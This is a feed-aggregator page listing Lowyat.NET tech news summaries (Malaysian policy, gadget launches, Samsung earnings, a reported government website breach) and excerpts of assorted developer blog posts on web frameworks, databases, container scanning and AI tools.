• Open

    Approval Ban On Special Number Plates Still In Force, Says Deputy Transport Minister
    The approval of special number plates being denied is still in force, said Deputy Transport Minister Datuk Hasbi Habibollah. These special number plates include those issued by government agencies, NGOs, and private companies. This was stated in response to a question by Rushdan Rusmi (PN–Padang Besar), who had sought clarification on the guidelines and criteria […] The post Approval Ban On Special Number Plates Still In Force, Says Deputy Transport Minister appeared first on Lowyat.NET.  ( 34 min )
    Over A Dozen Malaysian Government Websites Reportedly Breached
    Threat actors have allegedly breached more than a dozen Malaysian government websites and are offering access to the compromised systems for sale on a dark web forum. The post, published over the weekend, lists at least 11 ministries and government agencies affected by the attack, with access to their systems reportedly being sold for US$20,000 […] The post Over A Dozen Malaysian Government Websites Reportedly Breached appeared first on Lowyat.NET.  ( 33 min )
    Tecno Pova 7 5G, Pova 7 Ultra 5G To Launch In Malaysia On 8 August
    Following the successful launch of the Pova 7 4G, Tenco Malaysia has revealed that its 5G and the Ultra variation are coming to Malaysia on 8 August. Outside of the digit and name change, the brand boasts that these upcoming handhelds will now include wireless charging as well as other interesting upgrades.  Much like the […] The post Tecno Pova 7 5G, Pova 7 Ultra 5G To Launch In Malaysia On 8 August appeared first on Lowyat.NET.  ( 35 min )
    BNPL Providers Must Conduct Affordability Assessments Under Consumer Credit Act
    According to Finance Minister II Datuk Seri Amir Hamzah Azizan, Buy Now, Pay Later (BNPL) service providers will be required to conduct affordability assessments before extending credit. This requirement is part of the upcoming Consumer Credit Act 2025 (CCA), which serves as a regulatory framework for the growing BNPL sector. Amir Hamzah highlights the affordability […] The post BNPL Providers Must Conduct Affordability Assessments Under Consumer Credit Act appeared first on Lowyat.NET.  ( 33 min )
    Tesla Model Y Juniper Performance Prototype Spotted In The Wild
    A new prototype of the Model Y has been spotted near Tesla’s engineering headquarters in Palo Alto, Elecktrek reports. From the photos provided, it is speculated that this variant could be a Performance version of the EV, specifically the facelifted “Juniper” model that was introduced this year. This is evident from what appears to be […] The post Tesla Model Y Juniper Performance Prototype Spotted In The Wild appeared first on Lowyat.NET.  ( 33 min )
    First Gen Nintendo Switch And Variants Hit With Price Hike In US
    Nintendo has announced price hikes across the board for everything involving the first generation Switch. This includes all of its variants, as well as its Joy-Con controllers, as well as other products such as the Alarmo. The company first made the announcement late last week, stating that it may also affect Switch 2 accessories and […] The post First Gen Nintendo Switch And Variants Hit With Price Hike In US appeared first on Lowyat.NET.  ( 33 min )
    Samsung Chip Business Profits Plummet By Nearly 94%
    Samsung recently posted its second quarter financial earnings and to say that the company’s profits has been abysmal may be underselling it. The Korean tech giant seemingly saw its operating profits drop by 94% since last year. According to CNBC, Samsung’s profits from its chips business went from earning 74.6 trillion Won (~RM225 billion) last […] The post Samsung Chip Business Profits Plummet By Nearly 94% appeared first on Lowyat.NET.  ( 34 min )
    Govt Confirms PADU Data To Be Used For RON95 Targeted Subsidy Implementation
    The government will use data from the Central Database Hub (PADU) as the primary reference point for determining eligibility under the upcoming targeted subsidy scheme for RON95 petrol. According to Finance Minister II Datuk Seri Amir Hamzah Azizan, the centralised system is expected to improve the precision and fairness of subsidy distribution. By leveraging PADU, […] The post Govt Confirms PADU Data To Be Used For RON95 Targeted Subsidy Implementation appeared first on Lowyat.NET.  ( 33 min )
    Xiaomi Malaysia Teases Redmi 15 5G With 7,000 mAh Battery
    Xiaomi Malaysia has teased the imminent arrival of the Redmi 15 5G in the local market. As you’d expect from a teaser, the brand started drip-feeding details from the device’s spec sheet. At the time of writing, the company has shared three items from said spec sheet over the weekend. The first one that was […] The post Xiaomi Malaysia Teases Redmi 15 5G With 7,000 mAh Battery appeared first on Lowyat.NET.  ( 33 min )
    Rumour Suggests Perodua Nexis Debuting By The End Of The Year
    There have been rumours and reports that Perodua is finally launching the D66B @ Nexis/Traz by the end of this year. According to Funtastiko, the model, which closely resembles the Toyota Yaris Cross, is in the trial production phase and is expected to make its debut in December this year. According to the reports, the […] The post Rumour Suggests Perodua Nexis Debuting By The End Of The Year appeared first on Lowyat.NET.  ( 33 min )
    DJI Mini 5 Pro Product Image And Features Leak
    The product image and specification details allegedly belonging to the DJI Mini 5 Pro appear to have made their way onto the internet. The latter, specifically, appears to be a snapshot of a misprinted sheet, which was then shared to the world. The product render of the Mini 5 Pro was first discovered by Drone-Hacks […] The post DJI Mini 5 Pro Product Image And Features Leak appeared first on Lowyat.NET.  ( 34 min )
    LRT3 Might Begin Operations Later Than Expected
    The Light Rail Transit 3 (LRT3) line, otherwise known as the Shah Alam line, might not be on track to begin operating on 30 September. While the rail project was previously said to be close to completion, it seems that the LRT line is still not quite ready for commuters yet. In a Facebook update […] The post LRT3 Might Begin Operations Later Than Expected appeared first on Lowyat.NET.  ( 33 min )
    Mastercard Denies Pressuring Distributors Over NSFW Games; Valve Disagrees
    Gamers around the world have been feeling the pinch with the recent changes to Steam’s guidelines that prevent people from purchasing certain types of content on the platform. This has led to sweeping complaints about how payment processors should not interfere with people’s purchases. Due to the mounting pressure, Mastercard has made a brief statement […] The post Mastercard Denies Pressuring Distributors Over NSFW Games; Valve Disagrees appeared first on Lowyat.NET.  ( 34 min )
    vivo Malaysia Confirms V60 Is Coming Soon
    vivo has revealed that it is launching the V60 in India on 12 August. At the time, there was no word on a Malaysian release, despite it being listed in SIRIM. Now, things have changed slightly, with the brand’s local arm announcing that the phone is “coming soon”. The post can be found on the […] The post vivo Malaysia Confirms V60 Is Coming Soon appeared first on Lowyat.NET.  ( 33 min )
    Samsung Unveils Odyssey G7 G75F 4K Monitor For RM4,399
    Samsung officially launched the Odyssey G7 G75F, a 37-inch gaming monitor. The monitor is a first for the company, given its unusual size, but not the first time that a monitor of this size has been released, that honour going to Asus and its PG38UQ. Specs-wise, the G75F is a 4K curved display with a […] The post Samsung Unveils Odyssey G7 G75F 4K Monitor For RM4,399 appeared first on Lowyat.NET.  ( 33 min )
    Microsoft To End Support For Windows 11 SE In 2026
    Microsoft has announced that it will officially end support for Windows 11 SE, its lightweight operating system designed to rival Google’s ChromeOS, by October 2026. The company will cease providing software updates, technical assistance, and security patches from that date onwards. Launched in 2021, the platform was introduced as a streamlined version of Windows tailored […] The post Microsoft To End Support For Windows 11 SE In 2026 appeared first on Lowyat.NET.  ( 33 min )
    Apple Forms “Answers” Team To Create ChatGPT-Like AI Search
    Apple is working on its own AI-based search engine similar to ChatGPT, according to a report by Bloomberg’s Mark Gurman. This is a notable change from the company’s previous approach to artificial intelligence. Rather than developing its own chatbot, it integrated OpenAI’s ChatGPT with Siri. The brand had also dismissed the need for a homegrown […] The post Apple Forms “Answers” Team To Create ChatGPT-Like AI Search appeared first on Lowyat.NET.  ( 33 min )
    Singapore LTA: No Plans To Allow Cross-Border e-Hailing Rides
    Singapore’s Land Transport Authority (LTA), via its official Facebook page, has clarified that it has no intention of fully opening up cross-border e-hailing services between Singapore and Malaysia. According to the authority, recent reports from the media are suggesting otherwise. In the post, LTA said that while officials from both countries had met on 1 […] The post Singapore LTA: No Plans To Allow Cross-Border e-Hailing Rides appeared first on Lowyat.NET.  ( 33 min )
  • Open

    Introducing wizinsight - Lightweight API monitoring with Discord alerts
    Just launched a new TypeScript library that makes API monitoring incredibly simple for development teams. ✨ What wizinsight does: • Automatically tracks API request performance and response times 🎯 Built for teams who need: • Zero-configuration monitoring that works out of the box 💡 Key benefits: • 5.66KB bundle size - lightweight 🛠️ Perfect for: • Startups building reliable API infrastructure 🚀 Get started: 📦 Available on npm as 'wizinsight' 📖 Full documentation: https://lnkd.in/gsqADtHw https://lnkd.in/gDttg3JX Built this to solve real monitoring needs in modern development workflows. Would love to hear your thoughts on API monitoring approaches! hashtag#typescript hashtag#apimonitoring hashtag#discord hashtag#opensource hashtag#hyperwiz hashtag#webdev hashtag#monitoring hashtag#javascript hashtag#devtools #  ( 5 min )
    A Clean & Powerful Calculator with Pure JavaScript 🧮_give it a⭐
    Simple idea, beautiful result. One of the cleanest calculators you'll find. Hey everyone ! 👩‍💻👨‍💻 I just built this fully functional, responsive, and stylish calculator using pure HTML, CSS & JavaScript — no frameworks, no fluff. Just clean code and elegant design. 💅 🔗 Check it out on GitHub: 👉 github.com/YALDAKHOSHPEY/Calculator_pro ✅ Fast & responsive ✅ Modern & minimal UI ✅ Keyboard support ✅ Easy to customize ✅ Great for beginners ✅ ⭐ Looks good. Works great If you like the project: 🌟 Star it on GitHub 👀 Follow me for more frontend projects 💬 Leave feedback — I’d love to hear your thoughts! Let’s grow together 🚀 Follow me on GitHub 👉 @YALDAKHOSHPEY  ( 5 min )
    Building an AI Health Platform That Could Save the NHS £8.5M+ Annually
    TL;DR: Built a client-side AI platform that predicts vitamin deficiency risks before symptoms appear. Zero backend, sub-2s load times, potentially massive NHS cost savings. Live Demo | GitHub The Problem That Sparked This Build 🔥 While debugging my energy levels (classic developer problem 😅), I discovered something shocking: 50% of UK adults are vitamin D deficient 25% of women aged 19-49 have iron deficiency anemia £8.5M+ annual NHS costs just for vitamin D prescriptions Most people only find out they're deficient after symptoms become severe. What if we could predict and prevent these deficiencies using code? Frontend: React 18 + TypeScript Styling: Tailwind CSS State: React Hooks + Local Storage Deployment: Netlify Bundle Size: <500KB Backend: None (client-side only…  ( 8 min )
    Laravel Tutorial:The Ultimate Guide (2023)
    Introduction In this laravel tutorial, you will learn how to use the most popular PHP framework Laravel. This tutorial will teach you Laravel from scratch to an advanced level, you will learn how to install Laravel, how to set up database connectivity, how to create a full-blown application, and deploy it to HEROKU. Before we delve in, if you’re a backend developer or looking at delving into this career path, join other developers to receive daily articles on backend development that will boost your productivity. Stop waiting and start learning! Get my 10 tips on teaching yourself backend development. Get the tips! Don't worry. I'll never, ever spam you! Laravel Framework is an open-source PHP MVC framework for building simple to complex web applications. Laravel strictly follows the MV…  ( 19 min )
    The Silicon Surgeon
    In the sterile glow of an operating theatre, a surgeon's hands guide instruments with millimetre precision whilst artificial intelligence analyses tissue patterns in real-time, predicting complications before they manifest. This isn't science fiction—it's the current reality of robotic surgery, where AI transforms every incision into a data-driven decision. As the global surgical robotics market reaches £11 billion and continues its meteoric rise, we stand at the threshold of healthcare's most profound transformation since the discovery of antibiotics. The operating theatre has always been medicine's most hallowed ground, where life and death decisions unfold in moments measured by heartbeats. Today, that sacred space is undergoing its most radical transformation in centuries, as artificia…  ( 25 min )
    I Built a Cyberpunk Story About Meta's AI Future Using AI as My Pair Programmer
    The Technical Experiment As developers, we often debate AI's impact on our profession in abstract terms. Will GitHub Copilot replace us? Is ChatGPT making juniors obsolete? Instead of another technical analysis, I tried something different: I used AI to write speculative fiction about our augmented future. The result? "The Shadow of Superintelligence: Liberation or a Velvet Cage?" A story that explores Meta's vision of "personal superintelligence" through the eyes of Sarah, a marketer whose AR glasses give her superhuman abilities while her non-augmented colleagues mysteriously vanish. Writing Assistant: Claude (Anthropic) Image Generation: Krea.ai Story Structure: Three-act narrative with a twist ending Research Integration: Real Reddit threads from developer communities Version Contro…  ( 8 min )
    Why localhost:3000 Became the Home Base of Modern Web Development
    If you’ve dipped your toes into web development—frontend or backend—there’s a high chance you’ve come across localhost:3000. It’s more than just a port number. It’s the go-to space where development begins, debug logs unfold, and early-stage applications first breathe life. In this blog, we’ll explore why localhost:3000 became a standard, the tools that rely on it, how to troubleshoot it, and how to access it remotely when you're not on the same network. When developers run a local server, it typically listens to requests made to IP address 127.0.0.1, which maps to localhost—your computer. The number 3000 designates the port on which that server accepts connections. So when you visit http://localhost:3000, your browser is reaching out to a web application running on your machine, through p…  ( 8 min )
    5 Ways Edge AI is Transforming Mobile App Performance and Privacy
    Unlocking the Power of Edge AI: A New Era for Mobile Applications In today's fast-paced digital world, mobile applications are the lifeblood of our daily interactions, connecting us to everything from social networks to smart homes. Users demand lightning-fast performance, seamless experiences, and, perhaps most critically, ironclad privacy. Meeting these expectations has traditionally relied heavily on cloud computing, where data travels to distant servers for processing before returning to your device. However, this centralized approach often introduces latency, bandwidth strain, and significant privacy concerns. Enter Edge AI. This groundbreaking paradigm shifts artificial intelligence processing from the distant cloud to the "edge" of the network – meaning directly on your mobile dev…  ( 10 min )
    Building Food Delivery Apps for Feature Phones: Designing for Constraints, Delivering at Scale
    As developers, we often gravitate towards the cutting edge: building sleek, high-performance applications leveraging the latest frameworks, cloud services, and device capabilities. Our canvases are vibrant OLED screens, our tools are powerful SDKs, and our users are typically equipped with gigabytes of RAM and blazing-fast 5G. But what if your target user demographic primarily relies on a device with a monochrome screen, a T9 keypad, and connectivity akin to dial-up? This isn't a hypothetical. For millions globally, particularly in emerging markets, the humble feature phone remains the primary gateway to digital services. And for food delivery app development companies aiming for truly universal reach, mastering this domain is not just a business opportunity, but a fascinating engineering …  ( 9 min )
    How to Move, Scale, and Optimize an Azure Virtual Machine for Performance and Security
    Managing a virtual machine (VM) in Azure is more than just turning it on and off. In this step-by-step guide, I’ll show you exactly how I: Moved a VM to a secure subnet Scaled it vertically for more computing power Added extra storage space with a data disk Set up automatic shutdown to save money Each step includes a screenshot so you can follow along. Scenario Move a Linux VM into a secure subnet (created earlier) for FTP traffic. Increase its computing power to handle more workload. Attach a new disk for file uploads. Configure an automatic shutdown schedule to reduce costs. Step 1: Move the VM to a New Subnet Log in to the Azure Portal. Search for Virtual machines and open your VM (guided-project-vm). If the VM is running, click Stop and wait for the status to change to Stopped (deallo…  ( 7 min )
    The Developer’s Guide to Time Zone Converters (and Why You Need One in 2025)
    Working with global teams? Scheduling remote meetings? Shipping products across time zones? You’ve probably felt the pain of miscalculating time differences. One wrong conversion, and suddenly you’ve missed a demo call or pushed a deployment at midnight instead of noon. That's where a time zone converter becomes a must-have tool — not just for digital nomads, but for developers, marketers, freelancers, and remote-first teams. In this guide, we’ll cover: ✅ What a time zone converter does ✅ Why manual conversion is risky ✅ The best features to look for ✅ A free tool that saves you time ✅ Bonus: Time zone tips for remote teams A time zone converter is an online tool that lets you instantly see the correct local time in other cities or countries, based on your input. For example: You’re i…  ( 7 min )
    5 Web Dev Trends That Actually Matter in 2025
    Hey developers! 👋 So I was grabbing coffee yesterday (my 4th cup, don't judge) and scrolling through tech Twitter when I realized something - everyone's talking about the "next big thing" but half of it is just recycled hype from 2019. As someone who's been building stuff on the web since jQuery was considered modern (ouch, I know), I wanted to share the trends I'm actually seeing in real projects, not just conference slides. These aren't just buzzwords - they're things that are genuinely changing how I write code and ship products. Look, I was skeptical about AI coding tools for the longest time. Felt like cheating, you know? But after using GitHub Copilot for six months, I'm not going back to writing boilerplate from scratch like some kind of masochist. Here's what actually happened wh…  ( 9 min )
    Alec Steele: Turning a Picure into a Damascus Pattern
    Turning a Picture into a Damascus Pattern Alec Steele, a blacksmith-turned-machinist, walks you through the process of converting any image into a stunning Damascus steel pattern—covering everything from pattern prep to the big reveal and inspiring you to tackle your own metal-crafting projects. Along the way he shares a 10% off Squarespace code (FORGE), invites you to join his Discord, Instagram and Patreon communities, and hooks you up with his favorite music services (Epidemic Sound, SoundStripe) and Amazon gear through affiliate links. Watch on YouTube  ( 5 min )
    Maker's Muse: 8 Things that RUIN 3D print accuracy (and how to fix it)
    3D print accuracy can go sideways thanks to unsupported overhangs, messy support interfaces, elephant’s foot bulge and wonky bed leveling – making your models look more blob than beauty. Throw in part shrinkage, sad horizontal bores, skin-thin walls and razor-sharp internal angles, and you’ve got a recipe for dimensional disaster. The fixes? Dial in support patterns, tweak first-layer squish, calibrate your bed leveling, adjust temps to tame shrinkage, beef up bore diameters, thicken those walls and fillet sharp corners. Nail these tweaks and watch your prints snap into perfect form. Watch on YouTube  ( 5 min )
    Adam Savage's Tested: How Adam Savage Organizes His Thoughts
    How Adam Savage Organizes His Thoughts In this livestream excerpt, Adam Savage spills the beans on how he keeps track of a million projects at once—using a mix of digital tools, good old-fashioned lists and prioritization tricks to make sure nothing slips through the cracks. He walks through how he breaks big ideas into manageable tasks and juggles them in his day-to-day workflow. He also dives into costume comfort hacks, from custom padding and strategic ventilation to fabric choices that let you wear elaborate builds for hours without cramping or overheating. Plus, he invites viewers to support Tested for more insider Q&A, behind-the-scenes access and a ton of community perks. Watch on YouTube  ( 5 min )
    Built My First AI Agent Without Code Using SmythOS (Weaver is wild)
    Tried out SmythOS today and I’m honestly surprised how far no-code AI has come. They’ve got this thing called Weaver — and it’s like ChatGPT but instead of giving you answers, it builds actual working AI agents from your prompts. I typed out what I wanted (a workflow that connects user input → parses text → sends it to my Notion DB), and it started wiring up the whole flow, live. You can even: Paste in an API URL, and it’ll plug it into your agent If you’re into automation, custom GPTs, or building tools around your data, this is worth checking out: HERE  ( 5 min )
    Mastering Soft Skills for Effective Leadership and Mentorship
    The Importance of Soft Skills in Leadership and Mentorship Soft skills, often referred to as interpersonal or people skills, are becoming increasingly vital in the workplace, particularly in leadership and mentorship roles. While technical skills are essential, it is soft skills that often distinguish good leaders and mentors from exceptional ones. 1. Communication Effective communication is at the core of successful leadership and mentorship. Leaders need to clearly articulate their vision, provide feedback, and actively listen to their team members. Mentors must communicate guidance and support in a way that is easily understood and well-received. def communicate(message): print(message) 2. Emotional Intelligence Emotional intelligence involves the ability to recognize and man…  ( 6 min )
    Websites for project based learning in software development
    Freecodecamp Codecademy Datacamp Udacity Coursera  ( 5 min )
    Firestore Database: Your NoSQL Best Friend 🔥
    Overview Hello everyone! 👋 In this article, I'll walk you through everything you need to know about Firestore - Google's flagship NoSQL document database. If you've been wondering how to store and manage data in your web applications without dealing with complex SQL queries and server management, you're in the right place! Firestore is honestly a game-changer. It's real-time, scalable, and incredibly developer-friendly. Plus, it integrates seamlessly with all Firebase services and works beautifully across web, mobile, and server environments. Let's start! 🤙 Before we jump into the code, let's understand why Firestore is so awesome: Real-time Updates: Your app updates instantly when data changes - no polling needed! Offline Support: Works offline and syncs when connection returns Scala…  ( 13 min )
    Building, Securing, and Deploying a Go App with GitLab CI/CD EP 5: Container Image Scanning with Trivy in GitLab CI/CD
    Introduction Welcome back! Last time, you learned how to build and push your Docker image to Google Artifact Registry (GAR) using GitLab CI/CD. But before we ship our app to production, let’s make sure our Docker image is safe by scanning it for vulnerabilities using a tool called Trivy. In this episode, you’ll learn: What Trivy is and why you need image scanning How to add Trivy to your GitLab CI/CD pipeline How to read and act on your scan results 1. What is Trivy and Why Scan Your Images? Trivy is an easy-to-use, open-source tool that scans Docker images for security vulnerabilities. Why scan? Containers often include software from many sources Vulnerabilities can sneak into your images even if your code is safe Scanning helps you find and fix risks before they hit production 2. Ho…  ( 9 min )
    Dev-Client Communication that Builds Trust
    Most engineers don’t struggle because they can’t code. They struggle because someone misunderstood the client—and now everyone’s sprint is on fire. I’m not a developer. I’m a marketer who works closely with product teams building software for real clients. And over the years, I’ve seen one pattern stand out above all: the best software teams don’t just build clean code—they communicate clearly across teams and with clients. This post is adapted from a conversation with one of the tech leads in my company. It isn’t about email etiquette or vague "soft skills." It’s a breakdown of how experienced dev teams handle misaligned expectations, cross-time-zone clients, and shifting requirements—and still manage to keep trust intact. All based on firsthand insights from tech leads who’ve worked on g…  ( 8 min )
    Fix WCAG Errors Faster with Accessibility Automation
    A few years ago, I was working with a mid-sized e-commerce brand that prided itself on sleek design and user experience. Their website looked flawless on the surface-modern, fast, mobile-friendly. But after one complaint from a visually impaired customer about being unable to navigate the checkout process, everything shifted. They had never even considered accessibility. I’ve been there-on the other side of a user report, scrambling to understand WCAG (Web Content Accessibility Guidelines), trying to comb through code, running manual checks, and realizing just how many barriers exist for millions of users. It’s humbling, even a little embarrassing. But it’s also where the real learning begins. If you're here reading this, you probably know that WCAG compliance isn't just about ticking boxe…  ( 8 min )
    Is Vibe Coding Dead? The Uncomfortable Truth About AI Agents and Developer Productivity
    Introduction Significant change is taking place in the rapidly evolving field of artificial intelligence, sparking contentious debates on sites like Reddit and Twitter. It appears that the term “vibe coding”, which refers to a relaxed, frequently unstructured method of using AI agents to generate code, is coming to an end. A usage-based, cost-conscious model is quickly replacing what began as an “all-you-can-eat” buffet for developers and aspiring programmers. This shift represents a fundamental reassessment of how AI should support the software development ecosystem, not merely a change in price. With a valuation of $9.9 billion and a reputation as a “poster child” for AI startups, companies such as Cursor quickly rose to prominence and are now among the fastest-growing AI startups. At …  ( 8 min )
    Why I’m Moving from Dev.to to Hashnode
    When I first started writing about tech, Dev.to felt like the right place to be. It was welcoming, developer-friendly, and had a vibrant community. For a long time, it gave me everything I needed to begin: a platform to share, to learn, and to be seen. But over time, as I started thinking more seriously about what I’m building—not just as a developer, but as a creator—I realized I needed something more. Something that felt like home, not just a guest room in someone else’s house. That’s when I started exploring Hashnode. And I’m moving. Here’s why. It Finally Feels Like My Own Website Dev.to is a great community blog, but it never truly felt like mine. Every post lived on their domain, and that limited how much control I had over my own content. Hashnode changed that. It gave me the abilit…  ( 6 min )
    The reality of Open Source
    Todays article will be a bit different as it will not be purely technical but rather motivational one. I was inspired by it after seeing a following meme on X. It will be about my thoughts on Open Source after doing it for a few years now and how we can all benefit from it. Enjoy! The problem is that we all use Open Source in one way or another but we usually do not give enough credit to people who are maintaining it. We use OS tools either directly - by installing an UI library in our web development project to accelerate development of our new website - or as a dependency for other projects - in this case, we usually are not even aware what packages we are using (good luck scanning full lock.json file :D) In some cases, maintainers are not getting anything for their work apart from ba…  ( 7 min )
    Building CoastFireCalc.org: A Simple Tool for Financial Independence Planning
    As developers, we often get caught up in complex technical challenges while overlooking simpler problems that could benefit from elegant solutions. That's exactly what happened when I discovered the Coast FIRE concept and realized there wasn't a straightforward calculator available online. Coast FIRE is a financial strategy where you save aggressively early in your career until you reach a target amount that will grow (through compound interest) to fund your retirement at a traditional age. Once you hit this "coast number," you can stop saving for retirement and focus on covering current expenses. The math is straightforward, but doing the calculations manually is tedious and error-prone. Most FIRE calculators focus on traditional early retirement scenarios. Few tools specifically address …  ( 6 min )
    The Art of Mocking in Backend Tests
    One thing that hits you fast when you're building anything beyond to-do apps is this: testing matters. That “everything works on my machine” feeling? Doesn’t mean a thing in production. But here's the thing... testing real dependencies in every test? That’s a pain. Slow tests. External services failing. APIs rate-limiting you. And now your tests are flaky, annoying, and worst of all, unreliable. That’s where mocks come in like the chill friend that helps you focus on your actual code without worrying about the rest of the world blowing up. Let’s paint the scene. You’ve got a service that pulls data from an external API or database. You write a test, and it: Sends a real HTTP request ☁️ Connects to a real database 🧱 Waits... ⏳ Sometimes fails because the API is down 😮‍💨 Now imagine you’r…  ( 7 min )
    I Discovered a ‘Secret’ Citation Tag in My AI Answers—Here’s Why It Matters
    Yesterday I was polishing a Dev.to draft when I spotted something truly bizarre in my Markdown: text The “Filter” Nobody Told Me About What I saw: A raw tag instead of a footnote link. What’s actually happening: A Markdown–HTML filter is supposed to replace these with tidy [1] footnotes… but mine slipped through before that step ran. How I Uncovered It Step 2: Hit “Preview” and spotted the odd :contentReference[…] tag in the live render. Step 3: Traced it to the AI’s citation system—basically a “belt-and-suspenders” audit tool that never meant to show end readers this raw syntax. Why You Should Care Hidden metadata risks. If left unfiltered, you might accidentally expose internal tooling details—or worse, break your own Markdown. Conspiracy fuel? It’s tempting to say “they” are spying on your clipboard. But the real culprit is just a busted filter. TL;DR It exists for audit purposes and should have been auto-removed. If you see it too, add a quick find-and-replace, or fix your rendering pipeline!  ( 6 min )
    Is anyone interested in vibe coding on your phone?
    Currently, if you want to vibe code on your phone, one solution is to use something like VibeTunnel to connect to a terminal-based tool like ClaudeCode or similar. However, typing on a phone is inconvenient, and viewing diffs is not very user-friendly either. I’ve developed a Vibe Coding Telegram bot that allows seamless interaction with ClaudeCode directly within Telegram. I’ve implemented numerous optimizations—such as diff display, permission control, and more—to make using ClaudeCode in Telegram extremely convenient. I think these two features significantly improve the mobile experience: The bot currently supports Telegram’s polling mode, so you can easily create and run your own bot locally on your computer, without needing a public IP or cloud server. For now, you can only deploy and experience the bot on your own. In the future, I plan to develop a virtual machine feature and provide a public bot for everyone to use. chatcode  ( 5 min )
    How Data Fetching Works in Next.js: Server vs Client Components
    Next.js has revolutionized how we handle data fetching in React applications, especially with the introduction of Server Components in Next.js 13+. Understanding when and how to fetch data in server versus client components is crucial for building performant, SEO-friendly applications. What are Server and Client Components? Server Component Data Fetching Client Component Data Fetching When to Use Which Approach Best Practices and Performance Tips Common Patterns and Examples Server Components run on the server during the build process or at request time. They have direct access to server-side resources like databases, file systems, and APIs without exposing sensitive information to the client. Key characteristics: Execute on the server Can directly access databases and APIs Don't include J…  ( 10 min )
    How to use GitHub admonitions to make your markdown more readable
    GitHub has support for admonitions - clean, styled callout boxes like [!NOTE], [!TIP], and [!WARNING] - in issues, PRs, discussions, and wikis. If you've seen these floating around and wondered how they work (or why they aren't showing up in your README), this quick guide breaks it all down, with examples, copy-paste snippets, and tips for using them like a pro. Read the full article here:  https://lexingtonthemes.com/blog/posts/github-admonitions-guide/  (Includes a Markdown cheat sheet and use-case tips.)  ( 5 min )
    NEAR Protocol: The Silent Revolution Most Developers Are Missing
    Let me tell you something about NEAR that nobody’s really talking about—not the hype, not the usual "fast and scalable" spiel, but the quiet, almost unfair advantages it’s stacking up while everyone’s distracted by the same old blockchain debates. I’ve been building in this space long enough to see patterns—chains rise, chains fall, and most of them just copy each other with minor tweaks. But NEAR? NEAR is playing a different game entirely. It’s not trying to be Ethereum 2.0 or Solana’s cheaper cousin. It’s doing something… sneakier. And if you’re not paying attention, you’ll wake up one day and realize it’s been ahead the whole time. The Thing Nobody Gets About NEAR (Yet) Most comparisons talk about speed, sharding, or gas fees. Boring. Let’s talk about what actually matters: how NE…  ( 6 min )
    WTF is Cloud Native Application Bundles (CNAB)?
    WTF is this? "Cloud Native Application Bundles (CNAB)" - Because "Packaging" Just Wasn't Cool Enough Hey there, tech enthusiasts! Welcome to another episode of "WTF is this?", where we dive into the weird and wonderful world of emerging tech concepts. Today, we're tackling Cloud Native Application Bundles, or CNAB (see, I told you it was a mouthful). Buckle up, folks, and let's unravel this acronym-filled mystery! What is Cloud Native Application Bundles (CNAB)? Imagine you're moving into a new apartment, and you need to bring all your stuff with you. You've got your clothes, books, kitchen utensils, and that weird lamp your aunt gave you. You could pack each item separately, but that would be a nightmare. Instead, you throw everything into a few boxes, label them, and voilà! You're ready …  ( 7 min )
    How to Install and Set Up PostgreSQL on a Linux Server
    PostgreSQL is an open-source object-relational database system known for its stability, extensibility, and performance. But how do you get started with it on a Linux server? We will look at how to install, configure, and secure PostgreSQL on a Linux server. First, make sure your system repositories are up to date. Since Ubuntu maintains a list of available versions in the local cache, this step ensures you get the latest stable version when you install a package. sudo apt update Next, use the apt package manager to install PostgreSQL and contrib utilities: sudo apt install postgresql postgresql-contrib -y This command postgresql installs the PostgreSQL database server while postgresql-contrib adds additional features and utilities. Check whether PostgreSQL is active: sudo systemctl statu…  ( 6 min )
    From Code to CTO: The Hidden Skills That Fast Track Your Tech Leadership Journey
    So you can write clean code, debug like a detective, and your pull requests are rarely rejected. Cool. But why is that guy from the team next door—who honestly writes messier code than you—suddenly leading the new microservices initiative? Welcome to the brutal reality of tech careers: coding skills get you hired, but they won't get you promoted past a certain point. I've been in tech for over a decade, and I've watched brilliant developers get stuck in senior roles while their less technically gifted colleagues climb the ladder. The difference? It's not what you think. Here's the thing about coding bootcamps and CS degrees—they teach you to solve technical problems. They don't teach you to solve people's problems. Or business problems. Or "the CEO wants this done yesterday, but it's techn…  ( 9 min )
    Boosting Performance with Gatsby Image CDN: A Developer’s Guide
    Introduction Modern web performance is no longer a luxury—it’s a necessity. From reducing bounce rates to improving SEO rankings, faster websites deliver better user experiences. Gatsby, known for its speed and developer-friendliness, takes this a step further with Gatsby Image CDN — a powerful image optimization and delivery solution baked into Gatsby Cloud. In this blog, I’ll walk you through what Gatsby Image CDN is, how it works, and how you can use it to supercharge image performance in your Gatsby site. Gatsby Image CDN is a built-in cloud image optimization service that integrates seamlessly with your Gatsby site. It transforms, resizes, and delivers images over a global content delivery network (CDN), ensuring lightning-fast load times across the world. Unlike traditional methods…  ( 6 min )
    如何在 web 应用中使用 GDAL (一)
    前言 有过 GIS 相关开发工作的朋友都知道,GDAL 是 GIS 图形处理最强大的工具,对于 native 客户端和服务端的开发者来说非常友好,提供了适用于多种 CPU 和操作系统的可执行文件和 lib 文件,只要开发者使用的不是小众平台,都能轻松方便地获取。但对于 GDAL 来讲, Web 就是一个小众平台,并没有提供这个平台的任何支持。所以一般地, WebGIS 软件都会将 GDAL 相关服务部署到服务端,客户端通过 HTTP 请求的方式调用。这个方案有一些不足: 通过网络请求调用增加了应用的响应时间,无法实现实时应用 浪费客户端的算力,增加了服务端成本 所以 WebGIS 用到 GDAL 相关的功能时,总是给用户缓慢、卡顿的感觉。 使用 emscripten + WebAssembly 让 GDAL 应用与 web 应用成为可能:GDAL 是一个 C/C++ 项目,emscripten 是一个用于 WebAssembly 的 C/C++ 编译工具,或许能够使用 emscripten 将 GDAL 编译成 JavaScript 可以调用的形式,从而将这个工具移植到 WebGIS 应用中。 对于习惯于编写 JavaScript 的前端开发者来说,如何开始使用 emscripten 就是一个不小的问题。和大多数开源项目一样,emscripten 也是从源码编译开始。这里不大篇幅赘述安装过程,详细请查看 emsdk 文档。如果安装总是不成功,或者懒得安装,也可以使用 emsdk 的 Docker 镜像。 安装好并验证成功之后,就可以开始尝试使用 emscripten 进行编译了。这里举一个简单的例子: // hello_world.c #include int main() { printf("hello, world!\n"); …  ( 6 min )
    OBS Studio in 2025 + My Favorite Free Screen Recording Tools
